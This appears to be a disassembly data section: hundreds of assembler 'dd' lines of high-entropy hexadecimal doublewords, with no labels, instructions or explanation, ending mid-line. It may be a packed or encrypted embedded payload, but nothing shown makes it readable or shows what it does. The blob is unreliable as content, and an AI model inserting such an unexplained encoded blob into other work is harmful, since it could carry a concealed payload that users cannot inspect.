dd 0EF94E300h, 0BEEC9CF7h, 18D2009Fh, 0C42C5217h, 84A09385h dd 1A128639h, 2800D05Ch, 0E72E0D8Dh, 5980027Dh, 0A861F290h dd 2889E0E9h, 0E3C72C4h, 0D9568F0Dh, 0E855D5h, 0C693D01Bh dd 4E5E12BDh, 0B1840005h, 26B2E044h, 5DC5EF00h, 682D2361h dd 8F300266h, 99D83EC0h, 0BF4A4860h, 400E8EFAh, 6191A8DFh dd 3C72DB70h, 74AE20h, 0BD1F5B8Ah, 5F79D822h, 415A7C9Ah dd 8EB82Ch, 568FDD0Eh, 49CB8BEh, 6B7C2B0Fh, 0A1660015h dd 1FC1D37Eh, 0B898D45h, 7A0FF9EAh, 766811C3h, 0BDBC6E98h dd 79830C00h, 0A65B133Eh, 0C03400AFh, 0D8536F32h, 2173581Fh dd 15CEC302h, 0C009FD4Fh, 0B62998h, 0D40397CFh, 81AE7291h dd 0B7E06800h, 0EA9D62F8h, 0C8BC00F6h, 3C40D5ADh, 6700509Bh dd 3FBEF109h, 74A485h, 0A846605Ch, 0A13F824h, 0D65F5Ch dd 6ED75070h, 8AE3E8h, 0FE0FD03Ch, 0D15BF199h, 55A1F00h dd 82EE45A5h, 0AD172CD6h, 3D5E0028h, 1CE81224h, 272F1800h dd 17B229ACh, 1DDA00F7h, 0BCB19FFAh, 0BFFC4645h, 0CBF5E01Fh dd 0F683FE81h, 0E230D9BEh, 0CAE400C5h, 0DE40609Ch, 27E8EE6Ch dd 336FFE02h, 4182D3CDh, 0B6705457h, 4F730B24h, 1A00B546h dd 0F984786h, 4253A100h, 7311F9F5h, 9196012Dh, 1C3355D6h dd 0C72E8FCh, 31491800h, 6859EEF7h, 0B0ED0BE8h, 2C80ABD9h dd 0D2E2DF33h, 6B58F500h, 0B4B3EF02h, 0A2E71D45h, 0E5364091h dd 0AAB09DD8h, 60965D00h, 0E4100175h, 9B6400CEh, 0DB811A7Bh dd 121FC820h, 5694C9CBh, 1BC607B4h, 0D58055E8h, 0DD92F2h dd 0BB38F56Ch, 219FEFBh, 6414AF00h, 9259ECDAh, 0C9981FDCh dd 0C3B6C6Fh, 21B0F341h, 0A899C100h, 11E8E7ABh, 0C59C00FAh dd 0EE7E828Eh, 0F01E13D7h, 39400FFDh, 0D66DE48Fh, 17AB00B2h dd 3B7773F9h, 0C7FC2E47h, 42266EF0h, 0B000ED9Eh, 535A7D92h dd 22F23C4Fh, 12BF6481h, 0D419A032h, 83289B25h, 6B00A8CBh dd 0BDFA8BBh, 0A1AED7h, 0F28DE605h, 88DC2A66h, 2BCFA707h dd 650307D9h, 0B9EFF0A3h, 0E7C40001h, 5096E222h, 12027A91h dd 0F89A72C0h, 0AA8F88h, 1D178DD1h, 476628B5h, 9D502ECh dd 228393BFh, 6CFD3040h dd 0EA452100h, 0DDC49D3Fh, 0E82009D2h, 54105BEBh, 8F0080CBh dd 46A645B1h, 1ECFFC43h, 85CCC1F6h, 0E5B341h, 94ECC490h dd 6A01F022h, 0FC90671Eh, 0EC40DA40h, 686EE5h, 86CCAE54h dd 15F63F0Ch, 21C078B0h, 5C94F5FCh, 0F2B300A7h, 0B614278Dh dd 0FF7DAC46h, 94606628h, 0C965D100h, 0B10D30B7h, 0B3B21755h dd 27C70431h, 150090F1h, 64005312h, 96DFD5B5h, 0B1F58Bh dd 0B8F76051h, 8744C335h, 0E81C1F00h, 0EA6BDA9Dh, 48A8072Ch dd 375EF7Dh, 0DEB645Ch, 0D2EC80F8h, 690011E4h, 90D012D4h dd 1B12484h, 28E39616h, 0FD486E01h, 4348205Ah, 1F621F44h dd 806DD311h, 36532CDEh, 0A30038B7h, 0E618F8C6h, 5FBAF93h dd 5C32BC0h, 0E403EA3Eh, 0A9BABC25h, 0E440FE1Ch, 36A1Bh dd 400C4C3Fh, 92B82495h, 141C823Dh, 3E6654Fh, 0BE31E45Fh dd 0F55AF93Eh, 6100E022h, 6F3C96B2h, 0E74C9447h, 0C7320097h dd 8FE55ACh, 0CFDE4CDCh, 3E246000h, 18C4C930h, 95A23101h dd 1D536682h, 0FF1D0h, 891AE3CBh, 0C53C08ABh, 2A1C2605h dd 8C032C95h, 0C19EA6E1h, 1FF06DC0h, 0FE5600E6h, 53194BA5h dd 1E000FF5h, 0DA81A2CFh, 68A9FFA0h, 109824BEh, 1653002Ch dd 2F4EECB4h, 0A3015A1h, 3601F8BDh, 77D1D46Fh, 0AE68D87Ah dd 0ED162E00h, 911F3CD9h, 4D60578h, 0CF4B95Ch, 74395B9Ch dd 0AC01BFEEh, 431999ABh, 34245677h, 0B21800D7h, 1A29C5DCh dd 0AE24984Ah, 0E4011C95h, 860EEB3Dh, 13889434h, 484135h dd 0D7C811D2h, 22F2C3CBh, 0BAA9500h, 0D9897DDCh, 5F5C002Dh dd 17AEF32Ah, 29000F8Ch, 8F7FF906h, 836910h, 70735350h dd 93C4EE15h, 0A5AD8100h, 5ABAC1D4h, 5DC60B85h, 9C8F6564h dd 2EE590C0h, 0D60019C0h, 0A5FD83BBh, 696CDBh, 4AC201F9h dd 4D3D4C1Dh, 0F849FB0Ah, 0BF00F85Fh, 42D3AFC6h, 0D49A00A0h dd 19AAD554h, 0E80384E4h, 8530F7B5h, 0C23E9078h, 0E5000A7h dd 0DF76F070h, 100730Ch, 19CBF716h, 18C881C6h, 0C0346490h dd 6C1CE9EAh, 0B01E418h, 86ACF7EBh, 945121CDh, 99C76285h dd 0B60AB7Ah, 97E9006Dh, 0A73EE282h, 0D802B765h, 4AA9C1D7h dd 0FCE080ABh, 188AC7h, 0B46C37CEh, 6206740Ch, 78DDEE00h dd 0CC79D58Bh, 0A751000Ah, 48A5DC6Dh, 430702B6h, 0C3196915h dd 86067370h, 7F9B72FAh, 0F09071h, 0E577578Bh, 0E6D5AB04h dd 98031C3Dh, 0AD2491FCh, 59D202DEh, 673EAA1Ah, 44D41440h dd 0F633051Dh, 2754804Eh, 0AF811202h, 95C09342h, 0C02602DEh dd 8D5B2421h, 77D0DB00h, 8FF31EBBh, 0F848303Eh, 0BF1B7AB4h dd 0B810FE1Eh, 78893CE7h, 0DD9D0EE6h, 0FA608330h, 17D3DBCDh dd 96006492h, 855C0595h, 4DAC1Ah, 254C8349h, 0E2DCEED6h dd 0F8016400h, 78621B2Fh, 244B0011h, 424DF9CBh, 0FA245C97h dd 0B20744A8h, 57D0C99Ah, 0B3F9950h, 12686978h, 46E21880h dd 1D00DFC3h, 9CAD86F1h, 0B8A25ED5h, 78DA04F5h, 80A17659h dd 7A0AF830h, 51E5840Fh, 18A5C30Ch, 99BCD82Ah, 0F3E30064h dd 356358E1h, 3D026668h, 2019523Ch, 7F404065h, 17EE0386h dd 14DB6002h, 5BE59588h, 3B44AD00h, 0C5F0B4F5h, 7E3A24B8h dd 0CE110034h, 9F3537B0h, 0C8B34E00h, 0D90B28D6h, 8C00486h dd 8041A450h, 0AC2FAA40h, 0DCD4FD89h, 0FB5A0590h, 2AFF6B3h dd 0DE08EBA4h, 0FC5FF049h, 0FB17F7F3h, 48005B7Eh, 9EE79A57h dd 2A4F00F1h, 0EFABD508h, 5403B27Bh, 8A680BB8h, 34718031h dd 493BF633h, 0AE0054A9h, 54647C9Eh, 0C898F3C6h, 0EDF18600h dd 0B9B59DECh, 6B6E0046h, 7FAC58CDh, 4008B3Fh, 0F0E2C98h dd 5D7299h, 2036886h, 0D233F0C5h, 9DAF950Fh, 39F8A0F5h dd 0FC1DA0h, 3A475FFDh, 0BE5BE6F3h, 428CDD00h, 0C26C6E34h dd 1B4E167Ah, 1A80078h, 0ECC23A2h, 7FC75400h, 0E4F759F0h dd 0E0D9F402h, 135174FAh, 0B59A75h, 64F625B1h, 0F10744A4h dd 5EF00474h, 81CDE580h, 10940028h, 9ED44695h, 4F03D714h dd 0B0980F9h, 492DD8B8h, 9DA02CB1h, 9627003Ch, 0ACE1689Bh dd 5BC4DB00h, 4624F22Fh, 0D7621F0Ch, 84043F63h, 80958869h dd 2644C28Eh, 0EC0C58F6h, 11408B91h, 0D790D1h, 0D214C627h dd 67E3C2ADh, 8F910909h, 1CE98145h, 1E709B73h, 0A8AA00B1h dd 42193FA1h, 0D0167CAEh, 8006011Eh, 8E452Fh, 58C5885Ah dd 626F9BF9h, 8F3CF67Eh, 1A9F9325h, 0DBA75003h, 0CA3AF963h dd 0D020E7E1h, 62A41DF4h, 0F03097D2h, 30038BFh, 349D9AA8h dd 1555C4h, 4937DB95h, 0F16D4378h, 0E2E37701h, 0A6C8B168h dd 0CD55E4h, 0E0F3E792h, 8EB38663h, 9E5D7F0Eh, 0DD2040F6h dd 2E18B6A8h, 424CDEh, 933107B2h, 4739B70Fh, 8C2F07A7h dd 0E00FE9DBh, 0CB1A7CC7h, 0FC9495h, 2707762Bh, 0B1CFBB3h dd 9B47AB11h, 0A4301A56h, 0E09A66h, 60C5C704h, 7E9D2CC3h dd 0AE030207h, 7780C06Eh, 0F9FD15Ah, 60B00B01h, 781D9841h dd 0B5BC6058h, 0FBC5B700h, 5F57D8F6h, 0FCFD39BEh, 0C0109E80h dd 0A6327FBAh, 6C748D02h, 0C8CD6D07h, 38284Ch, 568F7870h dd 7950A4D2h, 1B06B902h, 0E0B6844Dh, 3A97ED3Ch, 6105AC04h dd 0D0641335h, 0A499DF48h, 0F274DC03h, 0A34CEF5Dh, 0F909A06Ah dd 995A61D9h, 0BC4411D6h, 0ECC10030h, 8CC31CFAh, 1E550005h dd 48B354A0h, 44155124h, 1CE4CBh, 7F062635h, 0BE1C354h dd 6207883Fh, 400348Fh, 0F947E5FAh, 883E18A0h, 21BD6336h dd 39EB0068h, 0F26CD099h, 215EF87h, 2A30F6F9h, 0B4094C22h dd 85291C05h, 442021E0h, 0E6F955CEh, 8E7500C5h, 71B2F604h dd 21004A82h, 0DC9EE683h, 5A4337h, 0B6CF875Fh, 0A97C25EAh dd 73865300h, 0A89B31F6h, 3E2E005Eh, 1DEE5C3Bh, 350059D1h dd 215F94DAh, 0AFADFBh, 0C67FFDF1h, 523E450Eh, 9181CBh dd 3BC5C40Eh, 0DD5B01ADh, 0E9DFC6E3h, 5A41CCBBh, 22F08700h dd 996346AAh, 0F861006Eh, 8169CFFEh, 686E5A19h, 4B8AE018h dd 246033B5h, 401C3951h, 6F851BF1h, 277CEF03h, 0D7A4D6A5h dd 7216246h, 2685539Ch, 983F106Dh, 310020E8h, 0C286FDC3h dd 9E91DCDh, 69CEABECh, 10600C20h, 830AFB6h, 7326114Bh dd 0C29E0311h, 0CB64F954h, 8FA1FA93h, 42080B0h, 4DE9116Bh dd 0C81B3887h, 0AB4C5E8Eh, 0B1EA2440h, 11B03E40h, 0B077576h dd 56BB450Dh, 0B39E13h, 0A4154640h, 491E4E1Fh, 3592440Ch dd 0C0C70899h, 1FAC7721h, 760C0740h, 192178A6h, 0E25419B5h dd 0F0C3A941h, 901C104Ah, 848CC499h, 70CBD89Bh, 0CD7700E2h dd 29603064h, 5E50EA2Ah, 2074D0ACh, 0BCFED400h, 0FAEE4992h dd 3406005Ah, 0D10CEC8Ah, 393B084Dh, 0C3A28381h, 90791AD8h dd 0FBDCE17h, 0DEC80D53h, 8C3AB580h, 893F55E1h, 0EC820077h dd 99BB8A0Eh, 922400FAh, 6A7CB1BCh, 0DC301071h, 9DC950FFh dd 3080E9EAh, 0BF11E163h, 640FDE89h, 80DD97CFh, 4146159Bh dd 0D0ED3E7Ah, 96BA85BDh, 4A0F7B3Ch, 125F7254h, 0F62A0678h dd 2E00A93Dh, 69196C9Dh, 31D7163h, 6A70511Bh, 0DC903F65h dd 0DF816C3h, 1884780Ch, 41791881h, 1C5660D6h, 0B98E0200h dd 0D9840437h, 0F170004Dh, 0AF4C4FA1h, 0FB0099D7h, 5607CB63h dd 0C547C8h, 12F866D5h, 0A7155E6Fh, 0B06D6E00h, 0A8806A88h dd 9D9201EAh, 4A76DDE5h, 5E5BE0EBh, 6ABB8201h, 6319BCB5h dd 82362990h, 2F54DDEh, 0A122C47Eh, 214A2466h, 6A125B17h dd 6F472882h, 0DC21EE24h dd 667990E6h, 48541284h, 862F80E2h, 0F3C7D7FFh, 0FC394D1Fh dd 0A1CDE980h, 3FCE7925h, 7B810FD0h, 5113F403h, 2BA8F0CCh dd 0EE18FA00h, 7E88AC87h, 0D171D2h, 0B60F3DD8h, 0F107BFA8h dd 67929900h, 0AFD98A5Dh, 4B7D70D5h, 0F8A85Bh, 7CEB0AC9h dd 0E4996209h, 3FD37458h, 9580D7FCh, 2903C875h, 0A200B5FAh dd 98F047B2h, 0C7C096h, 85444D5Bh, 0A9D4614Eh, 1C779A00h dd 0BB9E62A7h, 0F4C50007h, 0A39195FCh, 0A200E1BAh, 204E1334h dd 0DD876Eh, 5FFEC9Dh, 9E597027h, 0CFBAAE01h, 654C5007h dd 4949109Eh, 92073FEAh, 4E718043h, 0F8036D6Fh, 8A2CA01Ah dd 31F0F05Bh, 0B20800B3h, 6E55E333h, 510082C3h, 0AF43FC5h dd 7F68C34h, 727D75CCh, 3205303Bh, 9019BE8h, 0A9465D4Dh dd 9080AC2Ch, 27699F03h, 0C1090FB9h, 2FF0E0F2h, 88C36130h dd 288075B6h, 0B724B074h, 86004DDAh, 580736FEh, 1BE1969h dd 5ED8CFD5h, 0F45565A7h, 9A17B4E8h, 0AC00A5BCh, 0F5ECC63Eh dd 0BB5907EBh, 0A09EB558h, 0FEEDF7B7h, 5B12A800h, 0B0BDCCB3h dd 16E8001Ch, 10E55315h, 2906ED7Eh, 0E9317489h, 204C0018h dd 3340FDA9h, 0DC0063A6h, 5B64CF9Ah, 26617Ch, 0E028E2E8h dd 89AF5DBAh, 0A8603507h, 3E80EF34h, 3DA9EE87h, 5B87EA48h dd 0E023C888h, 259AFE9Fh, 0C5E5A700h, 3DEF4394h, 5CEA8Bh dd 0F93C7CEDh, 1A1DDE09h, 8E219200h, 0E5F237C3h, 0C4660033h dd 0B31C4518h, 0AE00B852h, 0C35C0D54h, 0CAAB51h, 3CE69FC6h dd 0C88B62B7h, 0F1453B28h, 0B0C1E5B0h, 4A90720Eh, 0CB948080h dd 63D9C0FAh, 0DA068F00h, 79E72C31h, 0D2920026h, 95D87471h dd 4C00A3D9h, 52B67217h, 0FC24D3B4h, 307192h, 0CB798D2Eh dd 89ECCF9Fh, 0AD009AE4h, 0E5A48BA9h, 106855Ah, 0F220B36h dd 0F0544FBDh, 0EA0F3763h, 207D83EFh, 0FBF24D03h, 73D40EE3h dd 8FE0A590h, 4C3A7B2Bh, 1C1A6A00h, 0B578932Eh, 0A2100097h dd 91A59B4Eh, 550445BCh, 0E85347A3h, 2C372C80h, 97060A0Ah dd 98F7F0h, 345A80D8h, 2500FB4Bh, 0F48BB017h, 0F81604h dd 0B1D66D32h, 8C9F06EEh, 0A7CF7900h, 651461C0h, 640C3966h dd 12A67E83h, 0C0004CDDh, 0CC43FAC1h, 0C08CEAh, 51041D83h dd 26330C8Eh, 0B60E360Eh, 77DC607Fh, 8412B0h, 860DC988h dd 1E68C2Ch, 64F41607h, 83F0A932h, 0A69765h, 0B8093F4Dh dd 535048A2h, 0F5D0C350h, 2E663E6h, 0F746101Fh, 0BE7AE780h dd 0FB63A13h, 9B04165Bh, 0F0FD8720h, 3600B15Ch, 0DC6A7558h dd 1C97800Fh, 80219E4Ah, 0F7282FBCh, 0C50095D6h, 34C18B1h dd 0B8BA58h, 0C9AA08F2h, 94E640BDh, 0F066D201h, 0B8C207Ch dd 0ECE36CD0h, 0E0355B53h, 0BA0E1058h, 0E0A13FCAh, 8A65DEEEh dd 52F100FCh, 3B0FBFD4h, 400043F5h, 837146BEh, 3FD961ADh dd 578055E8h, 185E7BA6h, 0F000E412h, 0A05DCCCAh, 7678FBABh dd 0B8160209h, 96D5C729h, 0CA870C60h, 0F84CF979h, 3FD10BCBh dd 528080BAh, 0F3EA8Ah, 7DA6B3C5h, 0CB34E3D4h, 78B5100h dd 0E135DF0h, 752000ADh, 501EF3D0h, 0C41F2B0Fh, 77842CFCh dd 7C802A89h, 0B3B66Eh, 70D7573Ch, 0CFA25EE1h, 55339F00h dd 12CE209Ah, 0E02350A4h, 8D409DFh, 440088B6h, 72ABAE8Ah dd 0E7FE6200h, 1435056Eh, 4432265Ah, 932A005Fh, 4C17770Bh dd 63BDA400h, 0DB8088B8h, 0F67F84h, 0C5463419h, 0E9FFEFF1h dd 35081203h, 81673Eh, 391B3620h, 0DB6DDDCFh, 5185BE18h dd 13E58A29h, 626C1Eh, 812F0BC0h, 9C00D473h, 0B7151A6Bh dd 2B896Eh, 203D2E62h, 1CD848B6h, 0D08BA200h, 0BC7153B0h dd 93730027h, 0E384C210h, 0F6007E58h, 2D0ABE45h, 5AC552A6h dd 32B282E1h, 9F8D7E0h, 0EF002B7Ch, 0F69BE525h, 1E47167Eh dd 0BE3BB1h, 0E1899392h, 0B0023135h, 0ABF7F396h, 9C441F6h dd 63AFA7C4h, 177E2819h, 1847C4BAh, 1116550Ch, 81A500A2h dd 0BFF57985h, 15091F6Fh, 8F7A4B5Dh, 0A89ADB44h, 5F6370h dd 8B41C44Eh, 4B7B135Ch, 0EFFDCE00h, 89B0D96Dh, 0F07E003Ah dd 7986F3E5h, 1A010408h, 0B271386Bh, 0BFEC75BAh, 0FB1800E9h dd 47D43BA4h, 2E000AEFh, 0B84CE7DCh, 4BD616h, 0FF6886F0h dd 2D14ACA3h, 5C19890Eh, 0F574C37Ah, 885193EEh, 0FA3A5Bh dd 0C2E2D1A5h, 895E9358h, 73CDEB00h, 94555C85h, 0F3AC0029h dd 21E9B98Ch, 31005DF6h, 0B7D08E25h, 3DD1A65Ch, 1600891Ah dd 3A235ACFh, 3CFAE563h, 1D8DC800h, 0AE34B8B3h, 4A75386Bh dd 635E9081h, 711C3DABh, 0E73120DEh, 0D2628700h, 0F732EE80h dd 114500B8h, 819BDAC6h, 7A0005C7h, 29E63404h, 0FDCCD7Fh dd 495BF336h, 0C09193A7h, 0D14266ABh, 0BFC84A00h, 1BE82B38h dd 0F16200C6h, 0A6E20B1Ch, 59263F92h, 0CB00442Eh, 0FEAFB939h dd 0D0BC002Ah, 24A8E735h, 5A0956D9h, 80C58A66h, 1C93B54h dd 0B4020028h, 0CDA046DAh, 0D1029E9Dh, 80EA2A3Dh, 33034107h dd 8CE4EE21h, 0AB8B1EA7h, 0D7880B6h, 1584774Eh, 8A411009h dd 1DCC80F2h, 0B45DEBh, 8CC946D8h, 1F30A67h, 4FB8527Ch dd 715D8A0h, 9D1D3207h, 0B3A0B20Bh, 0AB03F0h, 98B9E454h dd 0FDF280D9h, 3D2F7516h, 0C13872E8h, 302E6D01h, 0F4401D65h dd 70967DFh, 0F747E8h, 90D471D9h, 438008Bh, 8E39B5EFh dd 0F40081A0h, 94B2AFBBh, 9E1B389h, 0FDE969E2h, 61079A8Bh dd 591E8070h, 1700D257h, 0B40B8392h, 62ADEFh, 38520955h dd 64BE4B1Eh, 0FF009777h, 0DBF7F108h, 0C6AB88h, 65685FE9h dd 0E3BDBC24h, 1918BF00h, 92504623h, 80B0CAh, 8297D46Bh dd 0B7C77559h, 0C80E89F6h, 60813E63h, 5C912E92h, 979A374Dh dd 30E5D081h, 274F51CDh, 160011ECh, 8679011Bh, 0D703F102h dd 0CD7415F4h, 53BCF043h, 0EA9F0016h, 4F285234h, 0B30084EDh dd 8C27D82Fh, 464A0C8h, 50966D4Dh, 10B8C7D0h, 0C45401C5h dd 8BB52100h, 5E56D185h, 0CE940728h, 80F99BA0h, 3A93B799h dd 0E9608D1Fh, 76E02C87h, 0A8153413h, 0BFDF3Fh, 0A4EAD31Eh dd 4FF33BC5h, 3CF148h, 80B5318Eh, 0AA79C6h, 0A5C80141h dd 18137392h, 41292630h, 0BB0A42h, 0B146A2F9h, 0E6E47AA6h dd 5F503000h, 0D217D66Fh, 7B900Bh, 2008708Ch, 0C6D763B8h dd 0B6500F01h, 7443A8A2h, 0EC4C44D2h, 82F81Ah, 0A171DDE3h dd 502152A5h, 9F311500h, 248AF0C9h, 85BD0774h, 600634CAh dd 949312B1h, 0F600AC7Ch, 8C2399F5h, 13D55D1h, 0C1956A19h dd 0C0C592EBh, 4600F725h, 6FD79B8h, 1EA86188h, 3D8FB285h dd 923FDB0Fh, 9B7E6700h, 0DC00B719h, 0EFBC7839h, 0CCB356h dd 0FFBA36D5h, 0F790C80Bh, 58031F5Ch, 0C03A7Bh, 0BA6414F8h dd 77D352h, 0EFD49882h, 7D204BCBh, 0D7391A00h, 6F56E8FBh dd 0C098AACFh, 531AC92h, 0F5B93835h, 0E638827Fh, 6B82D060h dd 8B509F01h, 0F36F6D8Ch, 0B59D420h, 385A7EF5h, 0BB78A800h dd 510044A9h, 0CC128FA2h, 0FB9701Dh, 67476CCDh, 969CB4C0h dd 0F824E6ABh, 1E00208Bh, 0EC14385Ch, 96F55C99h, 804F1B1Ch dd 91871889h, 0A80075F0h, 0FCAF6D10h, 3F26E855h, 0CB935C44h dd 0F254032Ch, 67833163h, 0E3C114D8h, 1186230Fh, 0A4138019h dd 0DBDE6Eh, 0AB7473E2h, 2F65E04Ah, 0BE798D00h, 85C927D9h dd 9D201498h, 310081A6h, 0EB47D69h, 0EAF80484h, 59A480A0h dd 0D00038E8h, 182CF431h, 6C079Eh, 5AE2BD37h, 28C564Eh dd 8A681200h, 0EF9E50E8h dd 2657651h, 4C880C6Dh, 5CC07A1Dh, 3307FA57h, 0E218BDEDh dd 0D69CAEB0h, 389A00C7h, 3D0FF706h, 0C601A1F0h, 806FA69Bh dd 9F60A92Ah, 4BC30044h, 8FB355F1h, 0F6F8E50Dh, 20EDFD7Bh dd 6A00C9E4h, 0BE4A5441h, 0DF4250h, 2FA87B98h, 0DCB9A3ECh dd 0C93DF006h, 48C69Bh, 72C78C13h, 870269AEh, 2F6A6D00h dd 4BE49C3h, 8CB107C0h, 0E0C2EA79h, 0D103198Ah, 0E74F2F00h dd 56A59F5Fh, 953F00CDh, 80C39847h, 701F16E4h, 8AC2C40Eh dd 409B7F5Ah, 73418E83h, 53AF851h, 44C1AB31h, 83804059h dd 6695B7Dh, 48660F00h, 0B71D2694h, 9B3300D9h, 0DD05E7BCh dd 7607277Fh, 1A5C6F7Ah, 5BF93040h, 3E8E0036h, 0B7BE1CFCh dd 50053EAh, 42EDA012h, 3F094D3Ch, 0D00EC32h, 5D3B2EE7h dd 2500E250h, 0F6B2A2ABh, 170487FFh, 43B19Bh, 0D930BB48h dd 740008E3h, 0CC965AECh, 592F5D4h, 24976EBFh, 3EC081A1h dd 94B9F818h, 66088304h, 9490688Bh, 50CE7h, 917355ABh dd 847BA882h, 0E8B0FA51h, 9E00A1F1h, 1D341829h, 0A2114Ch dd 76B53FEBh, 0A352E016h, 0C8E92A24h, 600B2888h, 4F8E83F6h dd 13041600h, 0E462F550h, 4DB4336Ch, 8A900F48h, 8E7A48C0h dd 80CF603h, 0C0EA4CCBh, 9036263h, 2B9A2934h, 90B9AC02h dd 8BDBA048h, 0BDF6222Eh, 3CDD8F05h, 57D045C0h, 1C90E8h dd 92645182h, 0D22409B6h, 8466283Ch, 10021805h, 0B080F784h dd 6C4222h, 292DB1E0h, 0AC7BFC38h, 88434104h, 2480A8D8h dd 3CD942A7h, 2127823h, 7D64C046h, 0F3008AAEh, 45900E0Dh dd 0CED2C8h, 53B8C224h, 226136AAh, 0A7C5000h, 0A3766540h dd 0DBEA55h, 696DBB32h, 0EB9160EFh, 865BA807h, 0A6E49790h dd 0E2C0F184h, 0DB2DEh, 0FA18F406h, 0B5CAFF72h, 2A9D9400h dd 4CC17B78h, 3CC70063h, 4FB99219h, 800A756h, 94D633E5h dd 98D5EAh, 1F4821C6h, 16C5D39h, 5FFA6100h, 0CC356FB6h dd 0F0E4E812h, 89553E2Bh, 0B052F180h, 6182FE36h, 750EDF00h dd 151A56E5h, 0D6B4A049h, 2FC100ADh, 76CBAAE7h, 7E12025Bh dd 5831335Eh, 2416C5h, 0DE8C0EBAh, 335C8Bh, 0EC0545Ah dd 6800D5ABh, 96BCACAFh, 37173Ch, 71D4391Bh, 0BAA25B25h dd 0B4B07704h, 10C0B69Fh, 0F52A61Ch, 0C827780Eh, 350A110Bh dd 0EDAB02B4h, 5C60E923h, 580322A9h, 0F6644ACCh, 1386E80Dh dd 0D30F005Dh, 0BC2CF180h, 242C9DE8h, 83383714h, 10EE2650h dd 22798882h, 64B50E7Fh, 0DA96235h, 0C0968F04h, 5D77DF60h dd 9C0029B8h, 0C70F8C7Bh, 0F7F1D64Ah, 2487A060h, 18AB2A76h dd 7B0105Fh, 0AC000479h, 32E14C1Ah, 756CE9h, 183BA212h dd 0AFD9EB86h, 28D1C60Fh, 0DA49C06Eh, 37824Ah, 0C9B55870h dd 0E17D188Ah, 341ECA00h, 15598EB0h, 480B00D6h, 4756BCBBh dd 10076485h, 2D085C26h, 0FA8763D0h, 0FF290D8h, 14629C75h dd 0F3E807Fh, 0B8EE8940h, 97121375h, 0A44073BAh, 6187B1E3h dd 14220794h, 38BE68h, 1733F39Ch, 0E0AADD00h, 525ACB9Dh dd 8F810039h, 0BF3F402Ch, 17005366h, 41E5566Ch, 0B38FA9Bh dd 0D4E4CC8Eh, 0A39FBC80h, 0F2092602h, 8275C3E9h, 0C5831B34h dd 0D65D00D0h, 11211508h, 0D203ADEEh, 1EC8431Bh, 0A40085CCh dd 83B63E46h, 4DB30029h, 0DB0753EFh, 0D1583417h, 0CF67809Ch dd 0BF4BD7Ch, 3125CF0h, 48C8B00h, 75002689h, 0AE5FEABEh dd 43DF7Bh, 0F6F3B36Bh, 0E5D860B9h, 9275EC00h, 0B41F87E4h dd 17953CB5h, 0F407B200h, 2242FF11h, 0EB76FA00h, 0F69A05C1h dd 9E7820h, 715444Bh, 0DED7829Fh, 809DF73Ah, 0F2A7EEAh dd 79837Fh, 3A6E681Ch, 12D4EC37h, 69013C00h, 0AA03EEB2h dd 0A13B00F3h, 0AB570782h, 8100F965h, 0BD5296E1h, 91567D7h dd 0E4669FB2h, 2A717801h, 93E7F4F8h, 896D403Bh, 80DEC85Eh dd 8A37A354h, 0AE3A128Bh, 6B840041h, 53B7FA8Dh, 0F40054EEh dd 0DD810612h, 0C949C2h, 0A8B831Dh, 4FCA8E20h, 19039D72h dd 46E2341Ah, 0FB2005CFh, 0C78476FDh, 176D3000h, 89188115h dd 7A90D1F7h, 7F241E59h, 0E7183F7Dh, 0F6D30871h, 41B10F67h dd 0F2AB23C0h, 2E7000EBh, 2483056h, 0A1E89DA5h, 0CC0A900h dd 0ABFBE7F9h, 16CF8CDh, 7E58F336h, 0E09933F4h, 0FF014B95h dd 30675660h, 0AC683AACh, 9299B00h, 8C723C84h, 0C00BFFF4h dd 8189F4DCh, 3327F188h, 30515440h, 53141F9Fh, 0D2B90A4Eh dd 7B6E0260h, 5100A17Dh, 4885C7CDh, 79248945h, 7A2D0037h dd 0D34CDE37h, 0E4F70300h, 3F0A5469h, 0D056004Ah, 0E9492AD9h dd 4400160Eh, 394F0513h, 0E4B1031Fh, 0A80B008Dh, 0CACC5620h dd 341BFD3Bh, 65DA3h, 3176A41Eh, 93E065F6h, 9DC87200h dd 82D051A0h, 0F03C4B90h, 1BF0533Ah, 0FB0E258h, 0A6490284h dd 3620D824h, 0D130A535h, 963A20C2h, 204400E6h, 40C07DB5h dd 7C38A721h, 1329C02Fh, 81033719h, 0D1160D06h, 3008BAACh dd 0E9209AA0h, 0B400370Ch, 0DE4B5365h, 838B5Dh, 0E044E36h dd 7DC801F7h, 0EBCCA000h, 6350AB7Bh, 4721004Fh, 0CD15684Bh dd 0AA7CF111h, 79EB6C3Ah, 2002190h, 0EC034047h, 1796C4h dd 0CBCD2071h, 81AEEAD5h, 0EE3F9307h, 45B0A819h, 51BBEDh dd 0D5F87AAAh, 0C42F5244h, 0BD1C63F4h, 0C0403EEAh, 4CCCB353h dd 79A3005Bh, 62838636h, 1E006DD2h, 0BDEB2CCFh, 4AE898h dd 78205203h, 2F5F2DABh, 726CEE00h, 91D13B38h, 7B6304E8h dd 80803E17h, 32CAB481h, 4AAC9E00h, 0B928B0C0h, 99820007h dd 0E7EEF7CCh, 0ED006191h, 251D9001h, 0D44C6h, 4F7BAC86h dd 947F2797h, 752EB000h, 314E4DD2h, 8E621DA9h, 0C1768024h dd 7CC3A461h, 0C7F35F00h, 0F5FA690Ah, 0F052583Fh, 435AF71Ch dd 0C817548Dh, 5C1C67D8h, 240094E6h, 0A8837653h, 0F0D6D389h dd 0F4BE00EAh, 0CE2B2565h, 0C71E9CB4h, 0C0407405h, 76AF4E88h dd 815E1DD9h, 957CDE1Fh, 6D00982Ah, 0D06084E3h, 0AF004A0Ah dd 0E79BCE87h, 0E7AF2BEh, 796568C2h, 7BA0E5AFh, 7C9096AAh dd 0B538B1Dh, 491480BAh, 32E7A057h, 5B20E7Bh, 0BB2F8DDFh dd 94BE74C0h, 9D07E3C2h, 9FB712B8h, 0E8C04264h, 0C47BEE05h dd 5EBDD829h, 4F21BCD1h, 5022131Eh, 0E331280Ch, 0BA104B12h dd 411089C0h, 1130F214h, 4111C797h, 82C41290h, 25201A3Ch dd 25140813h, 22BCE842h, 0FF2433B6h, 13B59121h, 0B351009Ch dd 0D595D6E6h, 0C07E6E08h, 40B3958h, 600E357Dh, 13283580h dd 4FB3077Eh, 904EAEF9h, 0E9D48129h, 0F696B100h, 0E73ABA0Ch dd 0EFC30024h, 0B4BF34FBh, 9D0F058Ah, 0BB751h, 81195EE4h dd 0CB4D043Fh, 80A8100Ch, 6B599151h, 77004E74h, 2CF2993Dh dd 0C0CBB0D7h, 4931F91Eh, 0E013BEA6h, 0BC02C67Fh, 4016C721h dd 6E10B1h, 68D103E4h, 0C12D65DCh, 9747B00h, 